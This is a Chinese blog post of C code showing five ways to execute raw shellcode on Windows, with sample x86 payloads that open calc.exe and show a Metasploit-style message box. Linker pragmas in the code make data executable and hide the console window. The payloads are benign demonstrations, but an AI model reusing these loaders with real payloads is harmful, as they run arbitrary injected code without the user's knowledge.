c语言调用linux脚本,C语言执行shellcode的五种方法

小咪咪 2023-01-20 15:58 201阅读 0赞

//C语言执行shellcode的五种方法

\#include

\#include

//data段可读写

\#pragma comment(linker, "/section:.data,RWE")

//不显示窗口

\#pragma comment(linker,"/subsystem:\\"windows\\" /entry:\\"mainCRTStartup\\"")

\#pragma comment(linker, "/INCREMENTAL:NO")

//一段打开Windows计算器(calc.exe)的shellcode

unsigned char shellcode\_calc\[\] =

"\\xb8\\x82\\x0a\\x8d\\x38\\xd9\\xc6\\xd9\\x74\\x24\\xf4\\x5a\\x29\\xc9\\xb1\\x23"

"\\x31\\x42\\x12\\x83\\xea\\xfc\\x03\\xc0\\x04\\x6f\\xcd\\x38\\xf0\\x2b\\x2e\\xc0"

"\\x01\\x3f\\x6b\\xfc\\x8a\\x43\\x71\\x84\\x8d\\x54\\xf2\\x3b\\x96\\x21\\x5a\\xe3"

"\\xa7\\xde\\x2c\\x68\\x93\\xab\\xae\\x80\\xed\\x6b\\x29\\xf0\\x8a\\xac\\x3e\\x0f"

"\\x52\\xe6\\xb2\\x0e\\x96\\x1c\\x38\\x2b\\x42\\xc7\\xc5\\x3e\\x8f\\x8c\\x99\\xe4"

"\\x4e\\x78\\x43\\x6f\\x5c\\x35\\x07\\x30\\x41\\xc8\\xfc\\x45\\x65\\x41\\x03\\xb2"

"\\x1f\\x09\\x20\\x40\\xe3\\x83\\xe8\\x2c\\x68\\xa3\\xd8\\x29\\xae\\x5c\\x15\\xba"

"\\x6f\\x91\\xae\\xcc\\x73\\x04\\x3b\\x44\\x84\\xbd\\x35\\x1f\\x14\\xf1\\x46\\x1f"

"\\x15\\x79\\x2e\\x23\\x4a\\x4c\\x59\\x3b\\x22\\x27\\x5d\\x38\\x0a\\x4c\\xce\\x56"

"\\xf5\\x6b\\x0c\\xd5\\x61\\x14\\x2f\\x93\\x7c\\x73\\x2f\\x44\\xe3\\x1a\\xa3\\xe9"

"\\xe4";

unsigned char shellcode\[\] =

"\\xd9\\xeb\\x9b\\xd9\\x74\\x24\\xf4\\x31\\xd2\\xb2\\x77\\x31\\xc9\\x64\\x8b"

"\\x71\\x30\\x8b\\x76\\x0c\\x8b\\x76\\x1c\\x8b\\x46\\x08\\x8b\\x7e\\x20\\x8b"

"\\x36\\x38\\x4f\\x18\\x75\\xf3\\x59\\x01\\xd1\\xff\\xe1\\x60\\x8b\\x6c\\x24"

"\\x24\\x8b\\x45\\x3c\\x8b\\x54\\x28\\x78\\x01\\xea\\x8b\\x4a\\x18\\x8b\\x5a"

"\\x20\\x01\\xeb\\xe3\\x34\\x49\\x8b\\x34\\x8b\\x01\\xee\\x31\\xff\\x31\\xc0"

"\\xfc\\xac\\x84\\xc0\\x74\\x07\\xc1\\xcf\\x0d\\x01\\xc7\\xeb\\xf4\\x3b\\x7c"

"\\x24\\x28\\x75\\xe1\\x8b\\x5a\\x24\\x01\\xeb\\x66\\x8b\\x0c\\x4b\\x8b\\x5a"

"\\x1c\\x01\\xeb\\x8b\\x04\\x8b\\x01\\xe8\\x89\\x44\\x24\\x1c\\x61\\xc3\\xb2"

"\\x08\\x29\\xd4\\x89\\xe5\\x89\\xc2\\x68\\x8e\\x4e\\x0e\\xec\\x52\\xe8\\x9f"

"\\xff\\xff\\xff\\x89\\x45\\x04\\xbb\\x7e\\xd8\\xe2\\x73\\x87\\x1c\\x24\\x52"

"\\xe8\\x8e\\xff\\xff\\xff\\x89\\x45\\x08\\x68\\x6c\\x6c\\x20\\x41\\x68\\x33"

"\\x32\\x2e\\x64\\x68\\x75\\x73\\x65\\x72\\x88\\x5c\\x24\\x0a\\x89\\xe6\\x56"

"\\xff\\x55\\x04\\x89\\xc2\\x50\\xbb\\xa8\\xa2\\x4d\\xbc\\x87\\x1c\\x24\\x52"

"\\xe8\\x61\\xff\\xff\\xff\\x68\\x6f\\x78\\x58\\x20\\x68\\x61\\x67\\x65\\x42"

"\\x68\\x4d\\x65\\x73\\x73\\x31\\xdb\\x88\\x5c\\x24\\x0a\\x89\\xe3\\x68\\x58"

"\\x20\\x20\\x20\\x68\\x4d\\x53\\x46\\x21\\x68\\x72\\x6f\\x6d\\x20\\x68\\x6f"

"\\x2c\\x20\\x66\\x68\\x48\\x65\\x6c\\x6c\\x31\\xc9\\x88\\x4c\\x24\\x10\\x89"

"\\xe1\\x31\\xd2\\x52\\x53\\x51\\x52\\xff\\xd0\\x31\\xc0\\x50\\xff\\x55\\x08";

typedef void (\_\_stdcall \*CODE) ();

//http://rshell.blog.163.com/blog/static/41619170201110302937361/

//第一种方法

void RunShellCode\_1()

\{

PVOID p = NULL;

if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM\_COMMIT | MEM\_RESERVE, PAGE\_EXECUTE\_READWRITE)) == NULL)

MessageBoxA(NULL, "申请内存失败", "提醒", MB\_OK);

if (!(memcpy(p, shellcode, sizeof(shellcode))))

MessageBoxA(NULL, "写内存失败", "提醒", MB\_OK);

CODE code =(CODE)p;

code();

\}

//第二种方法

void RunShellCode\_2()

\{

((void(\*)(void))&shellcode)();

\}

//第三种方法

void RunShellCode\_3()

\{

\_\_asm

\{

lea eax, shellcode;

jmp eax;

\}

\}

//第四种方法

void RunShellCode\_4()

\{

\_\_asm

\{

mov eax, offset shellcode;

jmp eax;

\}

\}

//第五种方法

void RunShellCode\_5()

\{

\_\_asm

\{

mov eax, offset shellcode;

\_emit 0xFF;

\_emit 0xE0;

\}

\}

void main()

\{

//RunShellCode\_1();

//RunShellCode\_2();

//RunShellCode\_3();

//RunShellCode\_4();

RunShellCode\_5();

\}

发表评论取消回复

表情：

评论列表（有 0 条评论，201人围观）

还没有评论，来说两句吧...

相关阅读

相关 c语言最常用的排序方法是,C语言：三种排序方法

目的：在写代码的时候许多地方我们可能都需要用到排序，因此掌握一些排序方法是非常有必要的，下面就介绍几种常用的排序方法。先定义一个数组： int num\[\] = \

ゞ浴缸里的玫瑰/ 2023年01月22日 14:48/ 0 赞/ 165 阅读

相关 c语言调用linux脚本,C语言执行shellcode的五种方法

//C语言执行shellcode的五种方法 \include \include //data段可读写 \pragma comment(linker, "/section

小咪咪/ 2023年01月20日 15:58/ 0 赞/ 202 阅读

相关使用C语言实现两种linux命令,20155212 C语言实现linux下pwd命令的两种方法

20155212 C语言实现linux下pwd命令的两种方法学习pwd命令通过man pwd命令查看 ![989c0a3ea8b7fad04061dc38c4e067

柔情只为你懂/ 2023年01月19日 08:07/ 0 赞/ 5 阅读

相关 C/C++语言的几种取整方法

C/C++语言有以下几种取整方法： 1、直接赋值给整数变量。如： int i = 2.5; 或 i = (int) 2.5; 这种方法采用的是舍去小数部分。 2、C/C++

小鱼儿/ 2023年01月07日 05:53/ 0 赞/ 800 阅读

相关 C语言（五）

C语言中的二维数组 ====================== 1. 一维数组 int a\[10\]; 一维数组

野性酷女/ 2022年12月13日 12:52/ 0 赞/ 116 阅读

相关 python 执行shellcode_各种语言实现Shellcode加载(暂时两种)

原理:使用Shellcode和加载器分离的方法,方法很low,但是值得尝试 Python 参考自K8 Shellcode混合加密造轮子,造轮子QAQ(K8师傅的那个已

Love The Way You Lie/ 2022年10月25日 14:12/ 0 赞/ 269 阅读

相关【C语言】调用函数

实现一个函数，打印乘法口诀表，口诀表的行数和列数自己指定，输入9，输出9\9口诀表，输出12，输出12\12的乘法口诀表。 \{\} \define \_

雨点打透心脏的1/2处/ 2022年09月23日 08:14/ 0 赞/ 240 阅读

相关 c#调用python脚本四种方法,从C＃执行Python脚本

![Image 1][] I am trying to execute the python script from C\ in the following way: in

喜欢ヅ旅行/ 2022年08月30日 11:13/ 0 赞/ 527 阅读

相关 C语言调用C++库接口的方法概述

最近需要在由纯c语言编写的代码中调用C++的动态库，在网上找了一些资料，现在总结下解决方法。主要的思想就是将C++的动态库再封装一层，在这一层编写C语言的函数api，这AP

「爱情、让人受尽委屈。」/ 2022年08月05日 00:42/ 0 赞/ 173 阅读

相关 C 语言函数调用

1、有返回值，则用变量保存返回值：变量 = 函数名称(参数1, 参数2, …) 变量的类型一定要和返回值的类型一致 2、无返回值或不管返回值：函数名称(参数1

拼搏现实的明天。/ 2022年05月29日 01:57/ 0 赞/ 248 阅读